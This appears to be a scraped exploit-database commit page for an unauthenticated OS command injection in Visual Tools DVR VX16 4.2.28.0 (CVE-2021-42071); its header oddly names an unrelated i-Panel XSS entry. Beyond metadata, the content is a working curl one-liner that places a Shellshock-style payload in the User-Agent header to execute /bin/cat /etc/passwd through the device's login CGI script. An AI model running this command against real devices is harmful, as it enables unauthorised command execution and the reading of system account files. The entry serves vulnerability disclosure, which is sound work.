a7f5a62613
2 changes to exploits/shellcodes i-Panel Administration System 2.0 - Reflected Cross-site Scripting (XSS)
12 lines
No EOL
625 B
Text
12 lines
No EOL
625 B
Text
# Exploit Title: Visual Tools DVR VX16 4.2.28.0 - OS Command Injection (Unauthenticated)
|
|
# Date: 2021-07-05
|
|
# Exploit Author: Andrea D'Ubaldo
|
|
# Vendor Homepage: https://visual-tools.com/
|
|
# Version: Visual Tools VX16 v4.2.28.0
|
|
# Tested on: VX16 Embedded Linux 2.6.35.4.
|
|
# CVE: CVE-2021-42071
|
|
# Reference: https://www.swascan.com/security-advisory-visual-tools-dvr-cve-2021-42071/
|
|
|
|
# An unauthenticated remote attacker can inject arbitrary commands to CGI script that can result in remote command execution.
|
|
|
|
curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s :'' http:/DVR_ADDR/cgi-bin/slogin/login.py |